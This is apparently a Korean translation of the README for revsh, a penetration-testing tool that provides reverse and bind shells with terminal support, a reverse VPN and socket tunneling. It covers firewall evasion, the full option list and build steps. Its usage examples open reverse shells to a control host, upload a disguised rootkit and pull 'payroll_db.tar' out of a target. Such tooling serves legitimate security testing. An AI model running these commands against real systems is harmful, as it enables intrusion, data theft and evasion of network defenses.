emptymonkey/revsh터미널 지원, 데이터 터널링 및 고급 피벗팅 기능을 갖춘 리버스 셸
_revsh_는 터미널 지원이 포함된 리버스 셸과 고급 피보팅을 위한 리버스 VPN, 그리고 임의 데이터 터널링을 설정하기 위한 도구입니다.
"리버스 셸"이란 무엇인가요?
리버스 셸은 원격 호스트에 셸 접근을 제공하는 네트워크 연결입니다. telnet이나 ssh 같은 다른 원격 로그인 도구와 달리, 리버스 셸은 원격 호스트에 의해 시작됩니다. 원격 네트워크에서 외부로 연결하는 이 기술은 인바운드 연결만 차단하도록 구성된 방화벽을 우회할 수 있게 합니다.
"리버스 VPN"이란 무엇인가요?
_revsh_는 암호화 터널의 양쪽 끝에 가상 이더넷 카드(tun/tap)를 연결할 수 있습니다. 이 카드들은 원시 IP 패킷 또는 이더넷 프레임을 전달하는 데 사용될 수 있습니다. Iptables NAT 규칙과 결합하거나 실제 이더넷 카드를 브리징하면, 운영자는 대상 머신의 네트워크에서 완전히 라우팅 가능한 IP 주소를 받을 수 있습니다. 이는 본질적으로 운영자에게 인바운드 패킷 필터링을 우회하고 전체 네트워크 접근을 허용하기 위해 콜백을 수행한 완전한 VPN입니다. (자세한 내용은 "Documentation/REVERSE_VPN.md"를 참조하세요.)
"바인드 셸"이란 무엇인가요?
바인드 셸은 일반적인 포워드 네트워크 연결을 통해 제공되는 셸입니다. _revsh_는 리버스 셸과 바인드 셸을 모두 지원합니다. 바인드 셸을 호출하려면 연결의 양쪽 끝에서 -b 플래그를 사용하거나 바이너리를 'bindsh'로 호출하면 됩니다.
그냥 netcat을 사용하면 안 되나요?
리버스 셸을 설정하는 많은 기술이 있지만, 이러한 방법들은 터미널 지원을 제공하지 않습니다. _revsh_는 의사 터미널을 통해 연결이 중개되는 리버스 셸을 가능하게 하여 다음과 같은 기능을 제공합니다:
또한 _revsh_는 다음 기능도 제공합니다:
_revsh_는 암호화된 터널을 통해 전체 터미널 기능 세트를 제공하는 침투 테스터 도구 키트의 보조 도구로 사용됩니다.
어디서 _revsh_를 사용할 수 있나요?
_revsh_는 x86_64 Linux에서 개발되었습니다. 다음은 사용된 아키텍처/OS 조합의 간략한 목록입니다:
(다른 플랫폼에서 revsh를 성공적으로 사용했다면 연락 주시면 목록에 추가하겠습니다.)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS The address of the control listener. (Default is "0.0.0.0".)
PORT The port of the control listener. (Default is "2200".)
CONTROL_OPTIONS:
-c Run in "command and control" mode. (Default is target mode.)
-a Enable Anonymous Diffie-Hellman mode. (Default is Ephemeral Diffie-Hellman.)
-d KEYS_DIR Reference the keys in an alternate directory. (Default is "~/.revsh/keys/".)
-f RC_FILE Reference an alternate rc file. (Default is "~/.revsh/rc".)
-s SHELL Invoke SHELL as the remote shell. (Default is "/bin/bash".)
-F LOG_FILE Log general use and errors to LOG_FILE. (No default set.)
TARGET_OPTIONS:
-t SEC Set the connection timeout to SEC seconds. (Default is "3600".)
-r SEC1,SEC2 Set the retry time to be SEC1 seconds, or (Default is "600,1200".)
to be random in the range from SEC1 to SEC2.
MUTUAL_OPTIONS:
-k Run in keep-alive mode.
Node will neither exit normally, nor timeout.
-L [LHOST:]LPORT:RHOST:RPORT
Static socket forwarding with a local listener
at LHOST:LPORT forwarding to RHOST:RPORT.
-R [RHOST:]RPORT:LHOST:LPORT
Static socket forwarding with a remote listener
at RHOST:RPORT forwarding to LHOST:LPORT.
-D [LHOST:]LPORT
Dynamic socket forwarding with a local listener
at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-B [RHOST:]RPORT
Dynamic socket forwarding with a remote
listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-x Disable automatic setup of proxies. (Defaults: Proxy D2280 and tun/tap devices.)
-b Start in bind shell mode. (Default is reverse shell mode.)
The -b flag must be invoked on both ends.
-n Non-interactive netcat style data broker. (Default is interactive w/remote tty.)
No tty. Useful for copying files.
-v Verbose. -vv and -vvv increase verbosity.
-V Print the program and protocol versions.
-h Print this help.
-e Print out some usage examples.
먼저 OpenSSL을 소스에서 빌드해야 합니다. (아래 __참고__를 확인하세요.)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # 정적 애플리케이션을 OpenSSL에 대해 빌드하는 데 필요한 옵션입니다.
make && make test # 시스템 기본 OpenSSL과 충돌하지 않도록 "make install"은 건너뜁니다. 이 트리에서 방금 컴파일한 OpenSSL을 사용하여 _revsh_를 빌드할 것입니다.
cd ..
이제 revsh를 빌드합니다.
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # 상황에 맞는 새로운 기본값을 설정하세요.
vi Makefile # 선택한 빌드 환경이 원하는 것인지 확인하세요. (아마 기본적으로 이미 맞을 것입니다.)
make # 매우 오래 걸릴 수 있지만, 보통은 그렇지 않습니다.
make install
vi ~/.revsh/rc # 원격 셸의 느낌을 사용자 정의하려면 즐겨 사용하는 시작 명령을 추가하세요.
revsh -h
참고: OpenSSL 1.1.0 릴리스 이후, 정적으로 링크된 바이너리에서 사용하려면 OpenSSL을 소스에서 빌드해야 합니다. 대부분의 리눅스 배포판(칼리 포함)에 포함된 OpenSSL 라이브러리를 사용하여 정적으로 링크된 바이너리를 빌드하는 것은 작동하지 않습니다. (빌드가 된다 해도 SEGFAULT가 발생합니다.)
컨트롤 호스트 예제 IP: 192.168.0.42
타겟 호스트 예제 IP: 192.168.0.66
기본 포트 '2200'에서 대화형 예제:
control: revsh -c
target: revsh 192.168.0.42
비표준 포트 '443'에서 대화형 예제:
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
바인드 셸 예제:
target: revsh -b
control: revsh -c -b 192.168.0.66
비대화형 파일 업로드 예제:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
비대화형 파일 다운로드 예제:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
기존 터널을 통한 비대화형 파일 다운로드 예제:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290